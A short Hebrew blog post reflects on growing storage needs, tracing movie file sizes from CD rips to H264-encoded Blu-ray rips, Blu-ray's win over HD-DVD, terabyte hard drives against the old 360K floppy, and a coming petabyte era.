במשך תקופה של כמה שנים חל שיפור הדרגתי באיכות הסרטים, עד שסרט ממוצע שקל שני דיסקים (1.3 ג'יגבייט) ובשלב מסויים התחילו להופיע DVD-RIPs של סרטים/סדרות באיכות DVD במשקל של כארבעה ג'יגה לRIP.
לפני כחצי שנה פורמט בלו-ריי של סוני ניצח את הפורמט המתחרה HD-DVD של טושיבה, אני לא אכנס להבדלים הטכניים בין השניים, אבל השורה התחתונה היא שברגע שמלחמת הפורמטים הוכרעה החלה פריחה של סרטים באיכות HD מלא (1920×1080).
דיסק בלו ריי מכיל עד 50 ג'יגה בייט, ולא נדיר לראות סרטי בלו ריי שממלאים את הכל.
כמובן – 50GB לסרט זה עדיין לא מאוד פרקטי עבור רוב האנשים, והיום אפשר למצוא ברשתות שיתוף הקבצים גרסאות של סרטי בלו-ריי שקודדו מחדש בקודק H264 ושוקלים 'רק' כ8 ג'יגה לסרט בHD מלא.

היום אפשר כבר לקנות כוננים קשיחים בנפח של טרה וחצי ואפילו שני טרה, שזה יותר מפי חמש וחצי מליון מאשר אותו דיסקט 360K שהיה נפוץ כל כך לפני פחות מ20 שנה.

במבט לעתיד, ברור שלא רחוק היום שנראה מדיות איכסון של פטה-בייט (1000 טרה).
היום זה נשמע אסטרונומי, אבל גם מגה בייט,ג'יגה בייט וטרה בייט נשמעו ככה בהתחלה.
השאלה היותר מעניינת היא מה יהיו הישומים שידחפו את הצורך ביותר ויותר מקום בעתיד.

Facebook Comments